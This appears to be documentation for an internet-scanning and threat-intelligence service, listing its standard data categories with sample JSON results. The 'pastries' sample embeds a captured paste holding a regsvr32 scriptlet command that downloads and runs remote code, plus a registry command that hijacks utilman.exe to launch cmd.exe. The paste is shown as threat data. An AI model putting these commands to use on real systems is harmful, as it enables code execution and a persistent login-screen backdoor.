Standard information categories

Standard information categories are the ones any Plan user has access to. That is, even unregistered Web or registered Free Plan users have access to this kind of information. Of course, registered Free Plan users have other benefits as described on our pricing page.

The following categories are defined as standard:

  • inetnum
  • synscan
  • datascan
  • pastries
  • resolver
  • threatlist

Note: having access to a category doesn’t necessarily means that you have access to every fields (or filters) of an entry. There is also the concept of standard filters and advanced filters.

Standard information categories description

Each collected information is enriched with a timestamp and geolocation information (where applicable).

inetnum category

IP (v4 and v6) networks description as given by RIRs (Regional Internet Registries), except for the United States which does not disclose that information publicly.

{
  "count": 10,
  "error": 0,
  "max_page": 8,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "inetnum",
      "@timestamp": "2018-10-21T01:35:36.000Z",
      "@type": "doc",
      "country": "US",
      "ipv6": "false",
      "netname": "EU-EDGECASTEU-20080602",
      "seen_date": "2018-10-21",
      "source": "RIPE",
      "subnet": "93.184.208.0/20"
    },
    {
      "@category": "inetnum",
      "@timestamp": "2018-10-21T01:35:36.000Z",
      "@type": "doc",
      "country": "EU",
      "information": [
        "NETBLK-03-EU-93-184-208-0-24"
      ],
      "ipv6": "false",
      "netname": "EDGECAST-NETBLK-03",
      "seen_date": "2018-10-21",
      "source": "RIPE",
      "subnet": "93.184.208.0/24"
    },
[..]
  ],
  "status": "ok",
  "took": "0.733",
  "total": 74
}

synscan category

Open TCP ports found on the Internet. Each open port is also enriched with detected operating system (using our own TCP/IP stack fingerprinting technic). As of today, nearly 50 ports are scanned at least once a month, but other ports may be scanned according to press releases.

{
  "count": 3,
  "error": 0,
  "max_page": 2,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "synscan",
      "@timestamp": "2018-10-20T12:59:57.000Z",
      "@type": "doc",
      "asn": "AS18779",
      "city": "San Jose",
      "country": "US",
      "ip": "107.164.81.7",
      "ipv6": "false",
      "location": "37.3387,-121.8914",
      "organization": "EGIHosting",
      "os": "Linux",
      "port": "80",
      "seen_date": "2018-10-20",
      "subnet": "107.164.0.0/17"
    },
[..]
  ],
  "status": "ok",
  "took": "0.026",
  "total": 3
}

datascan category

Application responses to our application requests. Application requests are performed against found open TCP ports, or directly to some UDP ports. We are using our own technology for protocol identification. In fact, we are able to recognize more than 40 different protocols (as of today). Thanks to our methodology, instead of searching our data on a port-basis, you can simply search by protocol instead.

Furthermore, as well as crawling the clear Net for HTTP protocol, we are also crawling the clear Web by using domain name information when performing HTTP 1.1 requests with a valid HTTP Host header. Thus, we are able to identify multiple virtual hosts on a unique IP address.

{
  "count": 2,
  "error": 0,
  "max_page": 1,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "datascan",
      "@timestamp": "2018-10-26T10:30:15.000Z",
      "@type": "doc",
      "app": {
        "extract": {
          "domain": [
            "w3.org",
            "microsoft.com"
          ],
          "hostname": [
            "go.microsoft.com",
            "www.w3.org"
          ],
          "url": [
            "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd",
            "http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409",
            "http://www.w3.org/1999/xhtml"
          ]
        },
        "http": {
          "bodymd5": "ac3b7fe8b6538dad865f905fa06cf19e",
          "headermd5": "3a194f303abdadec442ba1646de5b2c8",
          "title": "IIS7"
        },
        "length": "934"
      },
      "asn": "AS18779",
      "city": "San Jose",
      "country": "US",
      "cpe": [
        "cpe:/a:microsoft:iis:7.5"
      ],
      "data": "HTTP/1.1 200 OK\r\nContent-Type: text/html\r\nLast-Modified: Sat, 18 Aug 2018 21:54:32 GMT\r\nAccept-Ranges: bytes\r\nETag: \"f35f1b3e37d41:0\"\r\nServer: Microsoft-IIS/7.5\r\nX-Powered-By: ASP.NET\r\nDate: Fri, 26 Oct 2018 10:29:58 GMT\r\nContent-Length: 689\r\n\r\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\" />\r\n<title>IIS7</title>\r\n<style type=\"text/css\">\r\n<!--\r\nbody {\r\n\tcolor:#000000;\r\n\tbackground-color:#B3B3B3;\r\n\tmargin:0;\r\n}\r\n\r\n#container {\r\n\tmargin-left:auto;\r\n\tmargin-right:auto;\r\n\ttext-align:center;\r\n\t}\r\n\r\na img {\r\n\tborder:none;\r\n}\r\n\r\n-->\r\n</style>\r\n</head>\r\n<body>\r\n<div id=\"container\">\r\n<a href=\"http://go.microsoft.com/fwlink/?linkid=66138&clcid=0x409\"><img src=\"welcome.png\" alt=\"IIS7\" width=\"571\" height=\"411\" /></a>\r\n</div>\r\n</body>\r\n</html>",
      "datamd5": "5cad586f64f2e431634331ca755e5039",
      "device": {
        "class": "Web Server"
      },
      "ip": "107.164.96.182",
      "ipv6": "false",
      "location": "37.3387,-121.8914",
      "organization": "EGIHosting",
      "os": "Windows",
      "osvendor": "Microsoft",
      "osversion": [
        "Server 2008",
        "7"
      ],
      "port": "80",
      "product": "IIS",
      "productvendor": "Microsoft",
      "productversion": "7.5",
      "protocol": "http",
      "protocolversion": "1.1",
      "reason": "OK",
      "seen_date": "2018-10-26",
      "source": "datascan",
      "status": "200",
      "subnet": "107.164.0.0/17",
      "tag": [
        "default",
        "ok"
      ],
      "tls": "false"
    },
[..]
  ],
  "status": "ok",
  "took": "0.011",
  "total": 2
}

pastries category

Content of pasties collected in a continuous mode. As of today, only pastebin is collected. Each collected pastie is enriched with DNS information (where applicable). That is, you can search for an IP address in pastries category and you may find pasties linked to it, even though only an URL was contained in the original pastie. Same is true for domain name or many other DNS-related information.

{
  "count": 10,
  "error": 0,
  "max_page": 344,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "pastries",
      "@timestamp": "2018-10-26T09:38:41.000Z",
      "@type": "doc",
      "content": "<?XML version=\"1.0\"?>\r\n<scriptlet>\r\n\r\n<registration\r\n    description=\"Bandit\"\r\n    progid=\"Bandit\"\r\n    version=\"1.00\"\r\n    classid=\"{AAAA1111-0000-0000-0000-0000FEEDACDC}\"\r\n\t>\r\n\t\r\n\t<!-- regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll\r\n\t<!-- DFIR -->\r\n\t<!--\t\t.sct files are downloaded and executed from a path like this -->\r\n\t<!-- Though, the name and extension are arbitary.. -->\r\n\t<!-- c:\\users\\USER\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\2vcqsj3k\\file[2].sct -->\r\n\t<!-- Based on current research, no registry keys are written, since call \"uninstall\" -->\r\n\t\r\n\t\r\n\t<!-- Proof Of Concept - Casey Smith @subTee -->\r\n\t<script language=\"JScript\">\r\n\t\t<![CDATA[\r\n\t\r\n\t\t\tvar r = new ActiveXObject(\"WScript.Shell\").Run(\"calc.exe\");\r\n\t\r\n\t\t]]>\r\n\t</script>\r\n</registration>\r\n\r\n<public>\r\n    <method name=\"Exec\"></method>\r\n</public>\r\n<script language=\"JScript\">\r\n<![CDATA[\r\n\t\r\n\tfunction Exec()\r\n\t{\r\n\t\tvar r = new ActiveXObject(\"WScript.Shell\").Run(\"reg add 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\utilman.exe' /t REG_SZ /v Debugger /d 'C:\\Windows\\System32\\cmd.exe' /f\");\r\n\t}\r\n\t\r\n]]>\r\n</script>\r\n\r\n</scriptlet>",
      "domain": [
        "example.com"
      ],
      "file": [
        "utilman.exe",
        "calc.exe",
        "wscript.sh",
        "scrobj.dll",
        "cmd.exe"
      ],
      "ip": [
        "2606:2800:220:1:248:1893:25c8:1946",
        "93.184.216.34"
      ],
      "key": "2WpScvHm",
      "scheme": [
        "http"
      ],
      "seen_date": "2018-10-26",
      "size": "1178",
      "source": "pastebin",
      "syntax": "text",
      "tld": "com",
      "url": [
        "http://example.com/file.sct"
      ]
    },
[..]
  ],
  "status": "ok",
  "took": "0.028",
  "total": 504
}

resolver category

Each time an IP address (v4 or v6) or a host name is found in collected information (whatever the source category), we perform DNS requests (both forward and reverse). This passive DNS information is thus collected and stored in this information category.

{
  "count": 10,
  "error": 0,
  "max_page": 2,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "resolver",
      "@timestamp": "2018-10-22T22:27:36.000Z",
      "@type": "doc",
      "asn": "AS20940",
      "city": "Bielefeld",
      "country": "DE",
      "domain": "go.com",
      "forward": "cdn.abclocal.go.com",
      "host": "cdn",
      "ip": "2.22.52.73",
      "ipv6": "false",
      "location": "52.0106,8.5493",
      "organization": "Akamai International B.V.",
      "seen_date": "2018-10-22",
      "source": "pastries",
      "subdomains": [
        "abclocal.go.com"
      ],
      "subnet": "2.22.52.0/24",
      "tld": "com",
      "type": "forward"
    },

[..]
  ],
  "status": "ok",
  "took": "0.050",
  "total": 18
}

threatlist category

We collect and aggregate a fair number of open threat lists. As of today, 25 lists are aggregated. We also have our own threat lists based on our honeypots. For instance, we have dedicated Mirai and Broadcom UPnP hunter botnet lists.

{
  "count": 3,
  "error": 0,
  "max_page": 1,
  "myip": "<redacted>",
  "page": 1,
  "results": [
    {
      "@category": "threatlist",
      "@timestamp": "2018-07-24T08:35:41.000Z",
      "@type": "doc",
      "asn": "AS14061",
      "city": "Frankfurt am Main",
      "country": "DE",
      "ipv6": "false",
      "location": "50.1153,8.6823",
      "organization": "DigitalOcean, LLC",
      "seen_date": "2018-07-24",
      "subnet": "206.81.18.195/32",
      "tag": [
        "botnet",
        "mirai"
      ],
      "threatlist": "ONYPHE - botnet/mirai"
    },
[..]
  ],
  "status": "ok",
  "took": "0.015",
  "total": 3
}

Other information categories

But we collect more information categories as described in this post. You will have to subscribe to one of our Entreprise Plan to be able to access them.